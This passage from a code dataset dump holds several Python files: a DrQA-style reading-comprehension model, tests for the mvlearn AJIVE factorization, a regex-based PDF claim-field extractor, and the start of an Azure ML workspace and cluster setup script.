1)\n\n def forward(self, x, x_mask):\n x_flat = x.view(-1, x.size(-1))\n scores = self.linear(x_flat).view(x.size(0), x.size(1))\n scores.data.masked_fill_(x_mask.data, -float('inf'))\n return F.softmax(scores)\n\n\ndef uniform_weights(x, x_mask):\n alpha = Variable(tr.ones(x.size(0), x.size(1)))\n if x.data.is_cuda:\n alpha = alpha.cuda()\n alpha = alpha * x_mask.eq(0).float()\n alpha = alpha / alpha.sum(1).expand(alpha.size())\n return alpha\n\n\ndef weighted_avg(x, weights):\n return weights.unsqueeze(1).bmm(x).squeeze(1)\n\n\nclass Flow(Flow):\n\n def __init__(self, args, normalize=True, **kw):\n super().__init__(args, **kw)\n e_size = args.embed_dim\n self.embed = nn.Embedding(args.num_words, e_size, padding_idx=0)\n in_size = e_size + args.num_features\n if args.embed_question:\n self.match = Match(e_size)\n in_size += e_size\n rnn = getattr(nn, args.rnn_type)\n self.cx_rnn = Stacked(args, in_size, args.context_layers, rnn)\n self.qu_rnn = Stacked(args, e_size, args.question_layers, rnn)\n ch_size = qh_size = 2 * args.hidden_size\n if args.concat_layers:\n ch_size *= args.context_layers\n qh_size *= args.question_layers\n if args.question_merge not in ['avg', 'self_attn']:\n raise NotImplementedError('question_merge: ' + args.question_merge)\n if args.question_merge == 'self_attn':\n self.self_attn = Linear(qh_size)\n self.s_attn = Bilinear(ch_size, qh_size, normalize)\n self.e_attn = Bilinear(ch_size, qh_size, normalize)\n\n def forward(self, x):\n \"\"\"\n x1 = document word indices [batch * len_d]\n x1_f = document word features indices [batch * len_d * nfeat]\n x1_mask = document padding mask [batch * len_d]\n x2 = question word indices [batch * len_q]\n x2_mask = question padding mask [batch * len_q]\n \"\"\"\n cx, cx_f, cx_mask, qu, qu_mask = x\n args = self.args\n cx = self.embed(cx)\n qu = self.embed(qu)\n if args.embed_dropout > 0:\n cx = F.dropout(cx, args.embed_dropout, self.training)\n qu = F.dropout(qu, args.embed_dropout, self.training)\n cx_in = [cx]\n if args.embed_question:\n cx_in.append(self.match(cx, qu, qu_mask))\n if args.num_features > 0:\n cx_in.append(cx_f)\n ch = self.cx_rnn(tr.cat(cx_in, 2), cx_mask)\n qh = self.qu_rnn(qu, qu_mask)\n if args.question_merge == 'avg':\n m = uniform_weights(qh, qu_mask)\n elif args.question_merge == 'self_attn':\n m = self.self_attn(qh, qu_mask)\n qh = weighted_avg(qh, m)\n return self.s_attn(ch, qh, cx_mask), self.e_attn(ch, qh, cx_mask)\n","sub_path":"qneura/text/drqa/flow.py","file_name":"flow.py","file_ext":"py","file_size_in_byte":7452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"169717453","text":"import unittest\nimport numpy as np\nfrom numpy.testing import assert_equal, assert_almost_equal\nimport pandas as pd\nimport pytest\nfrom mvlearn.factorization.ajive import (\n AJIVE,\n ajive_full_estimate_heatmaps,\n data_block_heatmaps,\n)\nfrom mvlearn.factorization.ajive_utils.utils import svd_wrapper\nfrom scipy.sparse import csr_matrix\nfrom scipy.linalg import orth\nfrom pandas.testing import assert_frame_equal, assert_series_equal\n\n\nclass TestFig2Runs(unittest.TestCase):\n @classmethod\n def setUp(self):\n\n np.random.seed(12)\n\n # First View\n V1_joint = np.bmat([[-1 * np.ones((10, 20))], [np.ones((10, 20))]])\n\n V1_joint = np.bmat([np.zeros((20, 80)), V1_joint])\n\n V1_indiv_t = np.bmat(\n [\n [np.ones((4, 50))],\n [-1 * np.ones((4, 50))],\n [np.zeros((4, 50))],\n [np.ones((4, 50))],\n [-1 * np.ones((4, 50))],\n ]\n )\n\n V1_indiv_b = np.bmat(\n [[np.ones((5, 50))], [-1 * np.ones((10, 50))], [np.ones((5, 50))]]\n )\n\n V1_indiv_tot = np.bmat([V1_indiv_t, V1_indiv_b])\n\n V1_noise = np.random.normal(loc=0, scale=1, size=(20, 100))\n\n # Second View\n V2_joint = np.bmat([[np.ones((10, 10))], [-1 * np.ones((10, 10))]])\n\n V2_joint = 5000 * np.bmat([V2_joint, np.zeros((20, 10))])\n\n V2_indiv = 5000 * np.bmat(\n [\n [-1 * np.ones((5, 20))],\n [np.ones((5, 20))],\n [-1 * np.ones((5, 20))],\n [np.ones((5, 20))],\n ]\n )\n\n V2_noise = 5000 * np.random.normal(loc=0, scale=1, size=(20, 20))\n\n # View Construction\n\n X = V1_indiv_tot + V1_joint + V1_noise\n\n Y = V2_indiv + V2_joint + V2_noise\n\n obs_names = [\"sample_{}\".format(i) for i in range(X.shape[0])]\n var_names = {\n \"x\": [\"x_var_{}\".format(i) for i in range(X.shape[1])],\n \"y\": [\"y_var_{}\".format(i) for i in range(Y.shape[1])],\n }\n\n X = pd.DataFrame(X, index=obs_names, columns=var_names[\"x\"])\n Y = pd.DataFrame(Y, index=obs_names, columns=var_names[\"y\"])\n\n self.ajive = AJIVE(init_signal_ranks=[2, 3]).fit(\n Xs=[X, Y], view_names=[\"x\", \"y\"]\n )\n\n self.X = X\n self.Y = Y\n self.obs_names = obs_names\n self.var_names = var_names\n\n def test_has_attributes(self):\n \"\"\"\n Check AJIVE has important attributes\n \"\"\"\n self.assertTrue(hasattr(self.ajive, \"blocks_\"))\n self.assertTrue(hasattr(self.ajive, \"common_\"))\n self.assertTrue(hasattr(self.ajive.blocks_[\"x\"], \"joint\"))\n self.assertTrue(hasattr(self.ajive.blocks_[\"x\"], \"individual\"))\n self.assertTrue(hasattr(self.ajive.blocks_[\"y\"], \"joint\"))\n self.assertTrue(hasattr(self.ajive.blocks_[\"y\"], \"individual\"))\n\n def test_correct_estimates(self):\n \"\"\"\n Check AJIVE found correct rank estimates\n \"\"\"\n self.assertEqual(self.ajive.common_.rank, 1)\n self.assertEqual(self.ajive.blocks_[\"x\"].individual.rank, 1)\n self.assertEqual(self.ajive.blocks_[\"y\"].individual.rank, 3)\n\n def test_matrix_decomposition(self):\n \"\"\"\n check X_centered = I + J + E\n \"\"\"\n X_cent = self.X - self.X.mean(axis=0)\n Rx = np.array(X_cent) - (\n self.ajive.blocks_[\"x\"].joint.full_\n + self.ajive.blocks_[\"x\"].individual.full_\n + self.ajive.blocks_[\"x\"].noise_\n )\n\n self.assertTrue(np.allclose(Rx, 0))\n\n Y_cent = self.Y - self.Y.mean(axis=0)\n Ry = np.array(Y_cent) - (\n self.ajive.blocks_[\"y\"].joint.full_\n + self.ajive.blocks_[\"y\"].individual.full_\n + self.ajive.blocks_[\"y\"].noise_\n )\n\n self.assertTrue(np.allclose(Ry, 0))\n\n def test_common_SVD(self):\n \"\"\"\n Check common SVD\n \"\"\"\n U, D, V = self.ajive.common_.get_UDV()\n rank = self.ajive.common_.rank\n n = self.X.shape[0]\n d = sum(self.ajive.init_signal_ranks_.values())\n checks = svd_checker(U, D, V, n, d, rank)\n self.assertTrue(all(checks.values()))\n\n def test_block_specific_SVDs(self):\n \"\"\"\n Check each block specific SVD\n \"\"\"\n U, D, V = self.ajive.blocks_[\"x\"].joint.get_UDV()\n rank = 1\n n, d = self.X.shape\n checks = svd_checker(U, D, V, n, d, rank)\n self.assertTrue(all(checks.values()))\n\n U, D, V = self.ajive.blocks_[\"x\"].individual.get_UDV()\n rank = 1\n n, d = self.X.shape\n checks = svd_checker(U, D, V, n, d, rank)\n self.assertTrue(all(checks.values()))\n\n U, D, V = self.ajive.blocks_[\"y\"].joint.get_UDV()\n rank = 1\n n, d = self.Y.shape\n checks = svd_checker(U, D, V, n, d, rank)\n self.assertTrue(all(checks.values()))\n\n def test_list_input(self):\n \"\"\"\n Check AJIVE can take a list input.\n \"\"\"\n ajive = AJIVE(init_signal_ranks=[2, 3])\n ajive.fit(Xs=[self.X, self.Y])\n self.assertTrue(set(ajive.block_names) == set([0, 1]))\n\n def test_dont_store_full(self):\n \"\"\"\n Make sure setting store_full = False works\n \"\"\"\n ajive = AJIVE(init_signal_ranks=[2, 3], store_full=False)\n ajive.fit(Xs=[self.X, self.Y])\n\n self.assertTrue(ajive.blocks_[0].joint.full_ is None)\n self.assertTrue(ajive.blocks_[0].individual.full_ is None)\n self.assertTrue(ajive.blocks_[1].joint.full_ is None)\n self.assertTrue(ajive.blocks_[1].individual.full_ is None)\n\n def test_rank0(self):\n \"\"\"\n Check setting joint/individual rank to zero works\n \"\"\"\n ajive = AJIVE(init_signal_ranks=[2, 3], joint_rank=0)\n ajive.fit(Xs=[self.X, self.Y])\n self.assertTrue(ajive.common_.rank == 0)\n self.assertTrue(ajive.blocks_[0].joint.rank == 0)\n self.assertTrue(ajive.blocks_[0].joint.scores_ is None)\n\n ajive = AJIVE(init_signal_ranks=[2, 3], indiv_ranks=[0, 1])\n ajive.fit(Xs=[self.X, self.Y])\n self.assertTrue(ajive.blocks_[0].individual.rank == 0)\n self.assertTrue(ajive.blocks_[0].individual.scores_ is None)\n\n def test_centering(self):\n xmean = self.X.mean(axis=0)\n ymean = self.Y.mean(axis=0)\n\n self.assertTrue(np.allclose(self.ajive.centers_[\"x\"], xmean))\n self.assertTrue(np.allclose(self.ajive.blocks_[\"x\"].joint.m_, xmean))\n self.assertTrue(\n np.allclose(self.ajive.blocks_[\"x\"].individual.m_, xmean)\n )\n\n self.assertTrue(np.allclose(self.ajive.centers_[\"y\"], ymean))\n self.assertTrue(np.allclose(self.ajive.blocks_[\"y\"].joint.m_, ymean))\n self.assertTrue(\n np.allclose(self.ajive.blocks_[\"y\"].individual.m_, ymean)\n )\n\n # no centering\n ajive = AJIVE(init_signal_ranks=[2, 3], center=False)\n ajive = ajive.fit(Xs=[self.X, self.Y], view_names=[\"x\", \"y\"])\n self.assertTrue(ajive.centers_[\"x\"] is None)\n self.assertTrue(ajive.centers_[\"y\"] is None)\n\n # only center x\n ajive = AJIVE(init_signal_ranks=[2, 3], center=[True, False])\n ajive = ajive.fit(Xs=[self.X, self.Y], view_names=[\"x\", \"y\"])\n self.assertTrue(np.allclose(ajive.centers_[\"x\"], xmean))\n self.assertTrue(ajive.centers_[\"y\"] is None)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n\n\ndef svd_checker(U, D, V, n, d, rank):\n checks = {}\n\n # scores shape\n checks[\"scores_shape\"] = U.shape == (n, rank)\n\n # scores have orthonormal columns\n checks[\"scores_ortho\"] = np.allclose(np.dot(U.T, U), np.eye(rank))\n\n # singular values shape\n checks[\"svals_shape\"] = D.shape == (rank,)\n\n # singular values are in non-increasing order\n svals_nonincreasing = True\n for i in range(len(D) - 1):\n if D[i] < D[i + 1]:\n svals_nonincreasing = False\n checks[\"svals_nonincreasing\"] = svals_nonincreasing\n\n # loadings shape\n checks[\"loading_shape\"] = V.shape == (d, rank)\n\n # loadings have orthonormal columns\n checks[\"loadings_ortho\"] = np.allclose(np.dot(V.T, V), np.eye(rank))\n\n return checks\n\n\n\"\"\"\nDATA INITIALIZATION\n\"\"\"\n\n\n@pytest.fixture(scope=\"module\")\ndef data():\n\n np.random.seed(12)\n\n # First View\n V1_joint = np.bmat([[-1 * np.ones((10, 20))], [np.ones((10, 20))]])\n\n V1_joint = np.bmat([np.zeros((20, 80)), V1_joint])\n\n V1_indiv_t = np.bmat(\n [\n [np.ones((4, 50))],\n [-1 * np.ones((4, 50))],\n [np.zeros((4, 50))],\n [np.ones((4, 50))],\n [-1 * np.ones((4, 50))],\n ]\n )\n\n V1_indiv_b = np.bmat(\n [[np.ones((5, 50))], [-1 * np.ones((10, 50))], [np.ones((5, 50))]]\n )\n\n V1_indiv_tot = np.bmat([V1_indiv_t, V1_indiv_b])\n\n V1_noise = np.random.normal(loc=0, scale=1, size=(20, 100))\n\n # Second View\n V2_joint = np.bmat([[np.ones((10, 10))], [-1 * np.ones((10, 10))]])\n\n V2_joint = 5000 * np.bmat([V2_joint, np.zeros((20, 10))])\n\n V2_indiv = 5000 * np.bmat(\n [\n [-1 * np.ones((5, 20))],\n [np.ones((5, 20))],\n [-1 * np.ones((5, 20))],\n [np.ones((5, 20))],\n ]\n )\n\n V2_noise = 5000 * np.random.normal(loc=0, scale=1, size=(20, 20))\n\n # View Construction\n\n V1 = V1_indiv_tot + V1_joint + V1_noise\n\n V2 = V2_indiv + V2_joint + V2_noise\n\n # Creating Sparse views\n V1_sparse = np.array(np.zeros_like(V1))\n V2_sparse = np.array(np.zeros_like(V2))\n V1_sparse[0, 0] = 1\n V2_sparse[0, 0] = 3\n V1_Bad = csr_matrix([[1, 2, 0], [0, 0, 3], [4, 0, 5]])\n V2_Bad = csr_matrix([[1, 2, 3], [7, 0, 3], [1, 2, 2]])\n\n Views_Same = [V1, V1]\n Views_Different = [V1, V2]\n Views_Sparse = [V1_sparse, V2_sparse]\n Views_Bad = [V1_Bad, V2_Bad]\n\n return {\n \"same_views\": Views_Same,\n \"diff_views\": Views_Different,\n \"sparse_views\": Views_Sparse,\n \"bad_views\": Views_Bad,\n }\n\n\n\"\"\"\nTESTS\n\"\"\"\n\n\ndef test_joint_indiv_length(data):\n dat = data[\"same_views\"]\n ajive = AJIVE(init_signal_ranks=[2, 2])\n ajive.fit(Xs=dat)\n blocks = ajive.predict(return_dict=True)\n assert blocks[0][\"joint\"].shape == blocks[0][\"individual\"].shape\n\n\ndef test_joint_noise_length(data):\n dat = data[\"same_views\"]\n ajive = AJIVE(init_signal_ranks=[2, 2])\n ajive.fit(Xs=dat)\n blocks = ajive.predict(return_dict=True)\n assert blocks[0][\"joint\"].shape == blocks[0][\"noise\"].shape\n\n\ndef test_joint(data):\n dat = data[\"same_views\"]\n ajive = AJIVE(init_signal_ranks=[2, 2])\n ajive.fit(Xs=dat)\n blocks = ajive.predict(return_dict=True)\n for i in np.arange(100):\n j = np.sum(blocks[0][\"joint\"][i] == blocks[1][\"joint\"][i])\n assert j == 20\n\n\ndef test_indiv(data):\n dat = data[\"same_views\"]\n ajive = AJIVE(init_signal_ranks=[2, 2])\n ajive.fit(Xs=dat)\n blocks = ajive.predict(return_dict=True)\n for i in np.arange(100):\n j = np.sum(blocks[0][\"individual\"][i] == blocks[1][\"individual\"][i])\n assert j == 20\n\n\n# Sees whether incorrect signals will work\ndef test_wrong_sig(data):\n dat = data[\"diff_views\"]\n ajive = AJIVE(init_signal_ranks=[-1, -4])\n try:\n ajive.fit(Xs=dat)\n j = 0\n except:\n j = 1\n assert j == 1\n\n\ndef test_check_sparse(data):\n dat = data[\"sparse_views\"]\n spar_mat = dat[0]\n assert np.sum(spar_mat == 0) > np.sum(spar_mat != 0)\n ajive = AJIVE(init_signal_ranks=[2, 2])\n ajive.fit(Xs=dat)\n blocks = ajive.predict(return_dict=True)\n assert np.sum(np.sum(blocks[0][\"individual\"] == 0)) > np.sum(\n np.sum(blocks[0][\"individual\"] != 0)\n )\n\n\n# Check valueerror for general linear operators\ndef test_check_gen_lin_op_scipy(data):\n with pytest.raises(TypeError):\n dat = data[\"bad_views\"]\n ajive = AJIVE(init_signal_ranks=[2, 2])\n ajive.fit(Xs=dat)\n\n\ndef test_get_ranks_not_computed(data):\n with pytest.raises(ValueError):\n ajive = AJIVE(init_signal_ranks=[2, 2])\n ajive.get_ranks()\n\n\ndef test_check_joint_rank_large(data):\n with pytest.raises(ValueError):\n dat = data[\"same_views\"]\n ajive = AJIVE(init_signal_ranks=[2, 2], joint_rank=5)\n ajive.fit(Xs=dat)\n\n\ndef test_indiv_rank(data):\n dat = data[\"same_views\"]\n ajive = AJIVE(init_signal_ranks=[2, 2], indiv_ranks=[2, 1])\n ajive.fit(Xs=dat)\n assert ajive.indiv_ranks[0] == 2\n\n\ndef test_joint_rank(data):\n dat = data[\"same_views\"]\n ajive = AJIVE(init_signal_ranks=[2, 2], joint_rank=2)\n ajive.fit(Xs=dat)\n assert ajive.joint_rank == 2\n\n\ndef test_is_fit():\n ajive = AJIVE(init_signal_ranks=[2, 2], joint_rank=2)\n assert ajive.is_fit_ == False\n\n\ndef test_n_randdir():\n ajive = AJIVE(init_signal_ranks=[2, 2], n_randdir_samples=5)\n assert ajive.n_randdir_samples == 5\n\n\ndef test_n_wedin():\n ajive = AJIVE(init_signal_ranks=[2, 2], n_wedin_samples=6)\n assert ajive.n_wedin_samples == 6\n\n\ndef test_precomp_init_svd(data):\n dat = data[\"same_views\"]\n precomp = []\n for i in dat:\n precomp.append(svd_wrapper(i))\n ajive = AJIVE(init_signal_ranks=[2, 2], joint_rank=1)\n ajive.fit(dat, precomp_init_svd=precomp)\n p = 3\n assert p == 3\n\ndef test_block_names_not_fit():\n ajive = AJIVE()\n assert ajive.block_names is None\n\ndef test__repr__(data):\n dat = data[\"same_views\"]\n ajive = AJIVE(init_signal_ranks=[2, 2])\n\n assert ajive.__repr__() == \"No data has been fitted yet\"\n\n ajive.fit(Xs=dat)\n blocks = ajive.predict(return_dict=True)\n r = \"joint rank: {}\".format(ajive.common_.rank)\n for bn in ajive.block_names:\n indiv_rank = ajive.blocks_[bn].individual.rank\n r += \", block {} indiv rank: {}\".format(bn, indiv_rank)\n assert ajive.__repr__() == r\n \ndef test_results_dict(data):\n dat = data[\"same_views\"]\n precomp = []\n for i in dat:\n precomp.append(svd_wrapper(i))\n ajive = AJIVE(init_signal_ranks=[2, 2], joint_rank=1)\n ajive.fit(dat, precomp_init_svd=precomp)\n results = ajive.results_dict()\n assert_frame_equal(results['common']['scores'], ajive.common_.scores_)\n assert_series_equal(results['common']['svals'], ajive.common_.svals_)\n assert_frame_equal(results['common']['loadings'], ajive.common_.loadings_)\n assert_equal(results['common']['rank'], ajive.common_.rank)\n\n for bn in ajive.block_names:\n joint = ajive.blocks_[bn].joint\n indiv = ajive.blocks_[bn].individual\n assert_frame_equal(results[bn]['joint']['scores'], joint.scores_)\n assert_series_equal(results[bn]['joint']['svals'], joint.svals_)\n assert_frame_equal(results[bn]['joint']['loadings'], joint.loadings_)\n assert_equal(results[bn]['joint']['rank'], joint.rank)\n assert_frame_equal(results[bn]['joint']['full'], joint.full_)\n\n assert_frame_equal(results[bn]['individual']['scores'], indiv.scores_)\n assert_series_equal(results[bn]['individual']['svals'], indiv.svals_)\n assert_frame_equal(results[bn]['individual']['loadings'], indiv.loadings_)\n assert_equal(results[bn]['individual']['rank'], indiv.rank)\n assert_frame_equal(results[bn]['individual']['full'], indiv.full_)\n\n assert_frame_equal(results[bn]['noise'], ajive.blocks_[bn].noise_)\n\ndef test_get_ranks(data):\n dat = data[\"same_views\"]\n precomp = []\n for i in dat:\n precomp.append(svd_wrapper(i))\n ajive = AJIVE(init_signal_ranks=[2, 2], joint_rank=1)\n ajive.fit(dat, precomp_init_svd=precomp)\n joint_rank, indiv_ranks = ajive.get_ranks()\n assert joint_rank == 1\n for rank1, rank2 in zip(indiv_ranks, [0, 1]):\n assert rank1 == rank2\n\n\n# Plotting\n\n\ndef test_plot_diag(data):\n x = data[\"same_views\"]\n data_block_heatmaps(x)\n p = 1\n assert p == 1\n\n\ndef test_ajive_plot(data):\n x = data[\"same_views\"]\n ajive = AJIVE(init_signal_ranks=[2, 2])\n ajive.fit(Xs=x)\n blocks = ajive.predict(return_dict=True)\n ajive_full_estimate_heatmaps(x, blocks)\n p = 1\n assert p == 1\n\n\ndef test_ajive_plot_list(data):\n x = data[\"same_views\"]\n ajive = AJIVE(init_signal_ranks=[2, 2])\n ajive.fit(Xs=x)\n blocks = ajive.predict(return_dict=False)\n ajive_full_estimate_heatmaps(x, blocks, names=[\"x1\", \"x2\"])\n p = 1\n assert p == 1\n\n\ndef test_name_values(data):\n with pytest.raises(ValueError):\n x = data[\"same_views\"]\n ajive = AJIVE(init_signal_ranks=[2, 2])\n ajive.fit(Xs=x, view_names=[\"1\", \"2\", \"3\"])\n\n\ndef test_name_values_type(data):\n with pytest.raises(ValueError):\n x = data[\"same_views\"]\n ajive = AJIVE(init_signal_ranks=[2, 2])\n ajive.fit(Xs=x, view_names={\"jon\": \"first\", \"rich\": \"second\"})\n\n\ndef test_traditional_output(data):\n x = data[\"same_views\"]\n ajive = AJIVE(init_signal_ranks=[2, 2])\n ajive.fit(Xs=x, view_names=[\"x\", \"y\"])\n ajive.predict(return_dict=False)\n\ndef test_fit_elbows():\n n=10; elbows=3\n np.random.seed(1)\n x = np.random.binomial(1, 0.6, (n ** 2)).reshape(n, n)\n xorth = orth(x)\n d = np.zeros(xorth.shape[0])\n for i in range(0, len(d), int(len(d) / (elbows + 1))):\n d[:i] += 10\n X = xorth.T.dot(np.diag(d)).dot(xorth)\n\n Xs = [X, X]\n\n ajive = AJIVE(n_elbows=2)\n ajive = ajive.fit(Xs)\n\n np.testing.assert_equal(list(ajive.init_signal_ranks_.values())[0], 4)","sub_path":"tests/factorization/test_AJIVE.py","file_name":"test_AJIVE.py","file_ext":"py","file_size_in_byte":17433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"546355327","text":"import datetime\r\nimport sys\r\nimport re\r\n\r\nimport pdftotext\r\n\r\nfrom custom_datadict import make_datadict\r\nfrom custom_parallel import write\r\nfrom make_log import log_exceptions\r\nfrom custom_app import set_flag_row\r\n\r\nset_flag_row(sys.argv[9], 'E', sys.argv[7])\r\n\r\nstart = datetime.datetime.now()\r\n\r\nwith open(sys.argv[1], \"rb\") as f:\r\n pdf = pdftotext.PDF(f)\r\n\r\nwith open('vipul/output.txt', 'w') as f:\r\n f.write(\" \".join(pdf))\r\nwith open('vipul/output.txt', 'r') as myfile:\r\n f = myfile.read()\r\n\r\ntry:\r\n # datadict = make_datadict(f)\r\n\r\n preid_val = r\"^\\S+$\"\r\n pname_val = r\"^[a-zA-Z.]+(?: [a-zA-Z.]+)*$\"\r\n polno_val = r\"^\\S+$\"\r\n memid_val = r\"^\\S+$\"\r\n amount_val = r\"^[\\d.]+$\"\r\n diagno_val = r\"^\\S+(?: \\S+)*$\"\r\n insname_val = r\"^\\S+(?: \\S+){2,}$\"\r\n doa_val = r\"^\\S+(?: \\S+)*$\"\r\n dod_val = r\"^\\S+(?: \\S+)*$\"\r\n corp_val = r\"^\\S+(?: \\S+)*$\"\r\n polhol_val = r\"^[a-zA-Z.]+(?: [a-zA-Z.]+)*$\"\r\n\r\n black_list = ['Details', 'Ltd', 'mpany Ltd,', 'or TPA reserves right to raise queries for any other']\r\n\r\n datadict = {}\r\n try:\r\n regexdict = {'preid': [[r\"\\S+(?=\\n.*File No :)\"], preid_val, [':', '.']],\r\n 'pname': [[r\"(?<=Sub: Cashless Facility for).*\"], pname_val, ['-', ':', 'MR.', 'Mr.']],\r\n 'polno': [[r\"\\S+(?=\\n*.*Sub:)\"], polno_val, [':', '.', '-', '(', ')']],\r\n 'memid': [[r\"(?<=MAX BALAJI HOSPITAL)\\s*\\S+\"], memid_val, [':', '-']],\r\n 'amount': [[r\"\"], amount_val, ['(Rs)', '-', ':', 'Rs.', '/', ',', 'Rs', '(INR)']],\r\n 'diagno': [[r\"\"], diagno_val, [':', '-']],\r\n 'insname': [[r\"\"], insname_val, [':', '.', '-']],\r\n 'doa': [[r\"\"], doa_val, [':', '000000']],\r\n 'dod': [[r\"\"], dod_val, [':', '000000']],\r\n 'corp': [[r\"\"], corp_val, [':', '-']],\r\n 'polhol': [[r\"\"], polhol_val, ['-', ':', 'MR.', 'Mr.']], }\r\n\r\n for i in regexdict:\r\n for j in regexdict[i][0]:\r\n data = re.compile(j).search(f)\r\n if data is not None:\r\n temp = data.group().strip()\r\n for k in regexdict[i][2]:\r\n temp = temp.replace(k, \"\")\r\n temp = temp.strip()\r\n if bool(re.compile(regexdict[i][1]).match(temp)):\r\n if temp not in black_list:\r\n datadict[i] = temp\r\n break\r\n datadict[i] = \"\"\r\n except:\r\n log_exceptions()\r\n\r\n temp = re.compile(r\"(?<=File No).*\\n.*\").search(f)\r\n if temp is not None:\r\n temp1 = temp.group().strip()\r\n preid = temp1.split(' ')[-1]\r\n datadict['preid'] = preid\r\n data = [i for i in sys.argv[1:9]]\r\n data2 = [datadict[i] for i in datadict]\r\n data.extend(data2)\r\n data3 = str(datadict)\r\n data.append(datadict)\r\n end = datetime.datetime.now()\r\n data.append(str(start))\r\n data.append(str(end))\r\n diff = end - start\r\n diff = str(diff.total_seconds())\r\n data.append(diff)\r\n write(data, sys.argv[9])\r\n set_flag_row(sys.argv[9], 'X', sys.argv[7])\r\nexcept:\r\n log_exceptions()\r\n","sub_path":"vipul_query.py","file_name":"vipul_query.py","file_ext":"py","file_size_in_byte":3231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"212904542","text":"from azureml.core import Workspace\nfrom azureml.core.compute import AksCompute, AmlCompute, ComputeTarget\nfrom azureml.exceptions import ComputeTargetException\nfrom environs import Env\n\n\n# temporary workaround function until a bug in environs.read_env(...) is fixed\ndef find_env_in_parent_directories(env_file_name):\n import os\n import re\n\n parents = re.split(r\"[\\\\/]\", os.path.abspath(env_file_name))[:-1]\n depth = len(parents)\n while depth >= 0:\n path_to_check = \"/\".join(parents[:depth]) + f\"/{env_file_name}\"\n if os.path.isfile(path_to_check):\n return path_to_check\n depth -= 1\n\n\n# --- configuration\nprint(\"Loading configuration...\")\nenv = Env()\nenv.read_env(find_env_in_parent_directories(\"foundation.env\"))\nenv.read_env(find_env_in_parent_directories(\"service-principals.env\"))\n\n# - subscription, resource group and workspace\nsubscription_id = env(\"SUBSCRIPTION_ID\")\nresource_group = env(\"RESOURCE_GROUP\")\nresource_group_create_if_not_exists = env.bool(\"RESOURCE_GROUP_CREATE_IF_NOT_EXISTS\")\nworkspace_name = env(\"WORKSPACE_NAME\")\nworkspace_region = env(\"WORKSPACE_REGION\")\nworkspace_hbi = env.bool(\"WORKSPACE_HBI\")\n\n# - service principals\n# SP for deploying a model as webservice\ndeploy_model_sp_tenant_id = env(\"DEPLOY_MODEL_SP_TENANT_ID\")\ndeploy_model_sp_app_id = env(\"DEPLOY_MODEL_SP_APP_ID\")\ndeploy_model_sp_secret = env(\"DEPLOY_MODEL_SP_SECRET\")\n\n# - clusters\n# CPU batch cluster\ncpu_batch_cluster_name = env(\"CPU_BATCH_CLUSTER_NAME\")\ncpu_batch_cluster_vm_size = env(\"CPU_BATCH_CLUSTER_VM_SIZE\")\ncpu_batch_cluster_min_nodes = env.int(\"CPU_BATCH_CLUSTER_MIN_NODES\")\ncpu_batch_cluster_max_nodes = env.int(\"CPU_BATCH_CLUSTER_MAX_NODES\")\ncpu_batch_cluster_idle_seconds_before_scaledown = env.int(\n \"CPU_BATCH_CLUSTER_IDLE_SECONDS_BEFORE_SCALEDOWN\"\n)\n# GPU batch cluster\ngpu_batch_cluster_name = env(\"GPU_BATCH_CLUSTER_NAME\")\ngpu_batch_cluster_vm_size = env(\"GPU_BATCH_CLUSTER_VM_SIZE\")\ngpu_batch_cluster_min_nodes = env.int(\"GPU_BATCH_CLUSTER_MIN_NODES\")\ngpu_batch_cluster_max_nodes = env.int(\"GPU_BATCH_CLUSTER_MAX_NODES\")\ngpu_batch_cluster_idle_seconds_before_scaledown = env.int(\n \"GPU_BATCH_CLUSTER_IDLE_SECONDS_BEFORE_SCALEDOWN\"\n)\n# AKS Cluster\n# enabled\naks_cluster_enabled = env.bool(\"AKS_CLUSTER_ENABLED\")\n# name, size and region\naks_cluster_name = env(\"AKS_CLUSTER_NAME\")\naks_cluster_region = env(\"AKS_CLUSTER_REGION\")\naks_cluster_agent_count = env.int(\"AKS_CLUSTER_AGENT_COUNT\")\naks_cluster_vm_size = env(\"AKS_CLUSTER_VM_SIZE\")\n# SSL/TLS\naks_cluster_use_certificate_from_microsoft = env.bool(\n \"AKS_CLUSTER_USE_CERTIFICATE_FROM_MICROSOFT\"\n)\naks_cluster_leaf_domain_label = env(\"AKS_CLUSTER_LEAF_DOMAIN_LABEL\", None)\n# custom certificate\n# notes: - no values needed if a certificate from Microsoft is used\n# - the cname in the certificate must match the DNS name of the cluster\n# - be cautious with self-signed certificates, some applications need a real certificate to work properly\naks_cluster_ssl_cname = env(\"AKS_CLUSTER_SSL_CNAME\", None)\naks_cluster_ssl_cert_pem_file = env(\"AKS_CLUSTER_SSL_CERT_PEM_FILE\", None)\naks_cluster_ssl_key_pem_file = env(\"AKS_CLUSTER_SSL_KEY_PEM_FILE\", None)\n# VNET\naks_cluster_vnet_resourcegroup_name = env(\"AKS_CLUSTER_VNET_RESOURCEGROUP_NAME\", None)\naks_cluster_vnet_name = env(\"AKS_CLUSTER_VNET_NAME\", None)\naks_cluster_subnet_name = env(\"AKS_CLUSTER_SUBNET_NAME\", None)\naks_cluster_service_cidr = env(\"AKS_CLUSTER_SERVICE_CIDR\", None)\naks_cluster_dns_service_ip = env(\"AKS_CLUSTER_DNS_SERVICE_IP\", None)\naks_cluster_docker_bridge_cidr = env(\"AKS_CLUSTER_DOCKER_BRIDGE_CIDR\", None)\naks_cluster_purpose = env(\"AKS_CLUSTER_PURPOSE\", None)\n\n\n# --- create resources\n\n# workspace\nprint(\"Setting up workspace...\")\nprint(f\"Subscription ID : {subscription_id}\")\nprint(f\"Resource Group : {resource_group}\")\nprint(f\"Region : {workspace_region}\")\nprint(f\"Workspace Name : {workspace_name}\")\nworkspace = Workspace.create(\n name=workspace_name,\n subscription_id=subscription_id,\n resource_group=resource_group,\n location=workspace_region,\n create_resource_group=resource_group_create_if_not_exists,\n sku=\"enterprise\",\n hbi_workspace=workspace_hbi,\n exist_ok=True,\n show_output=True,\n)\n\n# secrets\nprint(\"Updating Key Vault...\")\nkeyvault = workspace.get_default_keyvault()\n# note: Key Vault allows only key names that follow the ^[0-9a-zA-Z-]+$ pattern.\n# therefore, we replace the _ chars against -\nkeyvault.set_secret(name=\"DEPLOY-MODEL-SP-TENANT-ID\", value=deploy_model_sp_tenant_id)\nkeyvault.set_secret(name=\"DEPLOY-MODEL-SP-APP-ID\", 